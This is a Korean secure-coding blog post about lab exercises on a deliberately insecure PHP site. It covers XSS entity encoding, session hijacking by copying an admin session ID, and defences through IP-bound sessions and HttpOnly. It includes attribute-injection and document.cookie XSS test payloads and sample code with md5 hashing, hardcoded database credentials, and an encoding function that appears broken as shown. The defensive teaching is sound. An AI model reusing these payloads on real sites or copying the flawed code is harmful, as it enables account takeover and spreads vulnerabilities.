My Page를 확인하면 Name, E-mail, Company 는 입력칸의 데이터가 사용자에게 출력되므로 XSS에 취약하며, Password 는 데이터가 출력되지 않아 취약하지 않다(DB에 저장된 내용이 출력되지 않음).
Name, E-mail, Company 부분은 HTML 태그를 사용할 필요가 없으므로 HTML Entity Encoding 을 적용해준다.
< mypage.php 소스코드 중 action 페이지 HTML Entity Encoding 적용 >
<?
include_once("./common.php");
$db_conn = mysql_conn();
$id = $db_conn->real_escape_string($_GET["id"]);
$gubun = $_POST["gubun"];
if($gubun == "action") {
$name = xss_html_entity($db_conn->real_escape_string($_POST["name"]));
$email = xss_html_entity($db_conn->real_escape_string($_POST["email"]));
$company = xss_html_entity($db_conn->real_escape_string($_POST["company"]));
$password = $_POST["password"];
if(!empty($password)) {
$password = md5($password);
$query = "update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'";
$result = $db_conn->query($query);
} else {
$query = "update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'";
$result = $db_conn->query($query);
}
echo "<script>alert('회원정보 수정완료');</script>";
}
$query = "select * from members where id='{$id}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
?>
mypage.php 소스코드에 HTML Entity Enocoindg 적용 후 My Page 입력값에 XSS 공격을 시도해본다.
Name 입력값에 해커" onfocus=alert(1) autofocus=" 문자열을 삽입한다.
수정 후 My Page 를 확인하니 스크립트가 실행되지 않고 문자열 그대로 출력되는 것이 확인된다.
해당 페이지 소스코드를 확인하니 아래와 같이 더블 쿼터 " 가 " 로 치환된 것을 확인할 수 있다.
게시판 작성 및 수정, My Page 에 대해 XSS 공격에 대한 시큐어 코딩을 완료하였다.
실습5-7 세션 하이재킹 공격 대응 실습
XSS 공격을 통해 세션 하이재킹 공격을 할 수 있는데, 세션 하이재킹을 발생시키지 않으려면 근본적으로 XSS 공격을 막는 것이 최우선 순위이다.
세션 하이재킹 막는 방법
1) XSS 방어
2) HttpOnly 헤더 - document.cookie 를 통한 객체 접근 불가
3) 세션 발급 시 인증 IP 넣기 (IP 검증)
- 정상적인 ID 와 PW 가 담긴 요청자의 IP를 세션에 넣는다면 해당 IP는 안전한 IP로 볼 수 있다.
- A(1.1.1.1)가 웹 서버에 로그인 시 정상적인 요청을 통해 접근한다면, 1.1.1.1은 웹 서버에서 A의 IP로 인식되어 정상적인 사용자가 된다. 만약 B(2.2.2.2)가 A의 세션을 탈취하여 로그인하려해도, B의 IP는 1.1.1.1이 아니므로 A 계정으로 로그인이 성립되지 않는다. (최초 발급 IP와 IP가 달라 로그인 불가)
- 매번 페이지 접근할 때마다 검증해야하는 불편함이 있으며, 카페와 같이 공인 IP를 공유하는 네트워크 공간에서는 내부 사설 IP는 달라도 공격자와 피해자의 공인 IP가 같아 공격자는 충분히 해당 인증에 대해 우회가 가능하다.
크롬과 엣지 브라우저를 사용하여 세션 하이재킹을 시도한다.
크롬에서 관리자 계정으로 로그인 후 세션값을 복사한다.
관리자 계정 세션: 7afa259887da0bd69311348047090efe
관리자 계정 세션값을 복사해서 엣지 브라우저에 세션값을 붙여넣는다.
세션값을 붙여넣은 후 엣지 브라우저를 새로고침하면 관리자 계정으로 로그인된 것을 확인할 수 있다.
이를 통해 현재 세션 하이재킹이 가능하다는 것을 알 수 있다.
파일 경로: C:\APM_Setup\htdocs\insecure_website
login.php 소스코드를 확인한다.
< login.php 의 Action 부분 >
<?
$db_conn = mysql_conn();
if(!empty($_SESSION["id"])) {
echo "<script>location.href='index.php';</script>";
exit();
}
$id = $_POST["id"];
$password = $_POST["password"];
if(!empty($id) && !empty($password)) {
$id = $db_conn->real_escape_string($id);
$password = md5($password);
$query = "select * from members where id='{$id}' and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num != 0) {
$row = $result->fetch_assoc();
$_SESSION["id"] = $row["id"];
$_SESSION["name"] = $row["name"];
echo "<script>location.href='index.php';</script>";
} else {
echo "<script>alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';</script>";
exit();
}
}
?>
SERVER 라는 슈퍼 변수를 통해서 REMOTE_ADDR (접속자의 IP)를 받아와서 IP를 세션에 넣는다.
<?
$db_conn = mysql_conn();
if(!empty($_SESSION["id"])) {
echo "<script>location.href='index.php';</script>";
exit();
}
$id = $_POST["id"];
$password = $_POST["password"];
if(!empty($id) && !empty($password)) {
$id = $db_conn->real_escape_string($id);
$password = md5($password);
$query = "select * from members where id='{$id}' and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num != 0) {
$row = $result->fetch_assoc();
$_SESSION["id"] = $row["id"];
$_SESSION["name"] = $row["name"];
$_SESSION["ip"] = $_SERVER["REMOTE_ADDR"];
echo "<script>location.href='index.php';</script>";
} else {
echo "<script>alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';</script>";
exit();
}
}
?>
IP를 세션에 넣었지만 IP를 검증하는 작업을 추가로 필요하므로 common.php 에서 IP를 검증하는 작업은 따로 추가해준다. (공통으로 호출하는 페이지에 대해 적용해준다.)
세션 발급받을 때 IP와 현재 접속자의 IP가 다른 경우 로그아웃하는 코드를 작성한다.
(로그인할 때 IP와 현재 접속 IP가 다르다면 세션을 폐기)
< common.php 소스코드 IP 검증 절차 추가 >
<?php
header("Content-Type: text/html; charset=UTF-8;");
$tb_name = "insecure_board";
$upload_path = "upload";
if(!empty($_SESSION["id"])) {
if($_SESSION["ip"] != $_SERVER["REMOTE_ADDR"]) {
echo "<script>location.href = 'logout.php'</script>";
exit();
}
}
function mysql_conn() {
$host = "127.0.0.1";
$id = "root";
$pw = "test";
$db = "pentest";
$db_conn = new mysqli($host, $id, $pw, $db);
return $db_conn;
}
function xss_html_entity($value) {
$value = str_replace("<", "<", $value);
$value = str_replace(">", ">", $value);
$value = str_replace("\"", """, $value);
return $value;
}
function xss_html($value) {
// 웹사이트에서 다운받아 적당한 곳에 압축 푸세요.
require_once('./htmlpurifier/library/HTMLPurifier.auto.php');
// 기본 설정을 불러온 후 적당히 커스터마이징을 해줍니다.
$config = HTMLPurifier_Config::createDefault();
$config->set('Attr.EnableID', false);
$config->set('Attr.DefaultImageAlt', '');
// 인터넷 주소를 자동으로 링크로 바꿔주는 기능
$config->set('AutoFormat.Linkify', true);
// 이미지 크기 제한 해제 (한국에서 많이 쓰는 웹툰이나 짤방과 호환성 유지를 위해)
$config->set('HTML.MaxImgLength', null);
$config->set('CSS.MaxImgLength', null);
// 다른 인코딩 지원 여부는 확인하지 않았습니다. EUC-KR인 경우 iconv로 UTF-8 변환후 사용하시는 게 좋습니다.
$config->set('Core.Encoding', 'UTF-8');
// 필요에 따라 DOCTYPE 바꿔쓰세요.
$config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
// 플래시 삽입 허용
$config->set('HTML.FlashAllowFullScreen', true);
$config->set('HTML.SafeEmbed', true);
$config->set('HTML.SafeIframe', true);
$config->set('HTML.SafeObject', true);
$config->set('Output.FlashCompat', true);
// 최근 많이 사용하는 iframe 동영상 삽입 허용
$config->set('URI.SafeIframeRegexp', '#^(?:https?:)?//(?:'.implode('|', array(
'www\\.youtube(?:-nocookie)?\\.com/',
'maps\\.google\\.com/',
'player\\.vimeo\\.com/video/',
'www\\.microsoft\\.com/showcase/video\\.aspx',
'(?:serviceapi\\.nmv|player\\.music)\\.naver\\.com/',
'(?:api\\.v|flvs|tvpot|videofarm)\\.daum\\.net/',
'v\\.nate\\.com/',
'play\\.mgoon\\.com/',
'channel\\.pandora\\.tv/',
'www\\.tagstory\\.com/',
'play\\.pullbbang\\.com/',
'tv\\.seoul\\.go\\.kr/',
'ucc\\.tlatlago\\.com/',
'vodmall\\.imbc\\.com/',
'www\\.musicshake\\.com/',
'www\\.afreeca\\.com/player/Player\\.swf',
'static\\.plaync\\.co\\.kr/',
'video\\.interest\\.me/',
'player\\.mnet\\.com/',
'sbsplayer\\.sbs\\.co\\.kr/',
'img\\.lifestyler\\.co\\.kr/',
'c\\.brightcove\\.com/',
'www\\.slideshare\\.net/',
)).')#');
// 설정을 저장하고 필터링 라이브러리 초기화
$purifier = new HTMLPurifier($config);
// HTML 필터링 실행
$html = $purifier->purify($value);
return $html;
}
?>
1개의 로컬 PC에서 크롬과 엣지로 실습 시, 공격자와 피해자의 IP가 동일하므로 크롬의 사용자 세션으로 엣지에서 로그인해도 세션이 폐기되지 않는다.
만약 VMWare 활용해 공격자와 피해자가 서로 다른 IP를 가진 경우에는 실습하면 어떻게 될까?
현재 호스트 PC의 IP는 192.168.56.1 이며, VMWare는 192.168.197.138 로 서로 IP가 다르다.
크롬에서 관리자 계정으로 로그인 후 세션값을 복사한다.
관리자 세션: 2158c9b798278091cf2166ee4ce387f4
위 세션 값을 복사 후 VMWare 에서 해당 세션값을 붙여넣는다.
세션값을 붙여넣은 후 새로고침을 해도 관리자 계정으로 로그인되지 않는다.
이렇게 IP 검증을 통해서 세션 하이재킹을 방지하는 방법이 있다.
하지만 IP검증의 허점은 위에 기재했듯이 카페와 같이 동일한 공인 IP 를 공유하는 네트워크 공간에서는 내부 사설 IP가 달라도 공격자와 피해자의 공인 IP가 같아 공격자가 충분히 해당 인증에 대해 우회가 가능하다. (로컬 네트워크, 공유기 망에서 세션 탈취가 가능)
그러므로 document.cookie 객체에 접근이 불가능하도록 HttpOnly 옵션을 적용하는 것이 하나의 방법이다.
현재 실습환경에서는 php.ini 파일 내 httponly 옵션을 On 으로 설정하면 된다.
경로: C:\APM_Setup\php.ini
php.ini 파일 저장 후 APM Setup 에서 Apache 서버를 껏다가 키면 된다.
현재 insecure_website 내에는 XSS 에 대한 시큐어코딩이 적용되어 스크립트 작성이 어려우므로, 임의의 php 파일을 생성하여 document.cookie 를 출력하는 스크립트를 작성한다.
경로: C:\APM_Setup\htdocs\insecure_website\xss.php
< xss.php >
<script>alert(document.cookie);</script>
127.0.0.1/insecure_website/xss.php 에 접속을 시도한다.
아래와 같이 document.cookie 객체에 접근이 불가하여 빈값이 출력되는 것을 확인할 수 있다.
버프스위트를 켜고 Intercept On 후 127.0.0.1/insecure_website 접속한다.
위와 같이 세션값이 확인되는데, 이를 삭제 후 Forward(Ctrl + F) 해준다.
Set-Cookie 에 path=/; HttpOnly 가 확인된다.
이를 통해 웹 브라우저에서 document 객체에 접근을 할 수 없도록 설정되어 있는 것을 알 수 있다.
버프스위트 응답값에 document.cookie 를 호출하는 스크립트를 작성 후 Intercept Off 를 하게되면 아래와 같이 빈 값이 경고창으로 출력된다.
HttpOnly 를 적용하게 되면 document 객체에 접근을 할 수 없기 때문에, document.cookie 를 활용하는 XSS 공격은 세션 하이재킹이 불가능하다.
참고
정규표현식 참고
'웹 해킹 > 웹 해킹 및 시큐어 코딩 기초' 카테고리의 다른 글
XXE Injection (2) | 2025.01.04 |
---|---|
OS Command Injection (2) | 2025.01.03 |
SQL Injection 대응 방안 (1) | 2024.12.27 |
SQL Injection (1) | 2024.12.11 |
버프 스위트(Burp Suite) 설치 및 사용법 (0) | 2024.11.26 |